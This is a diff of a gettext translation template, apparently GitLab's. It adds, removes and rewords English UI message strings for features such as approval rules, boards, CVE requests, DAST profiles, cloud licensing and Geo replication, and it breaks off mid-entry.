msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
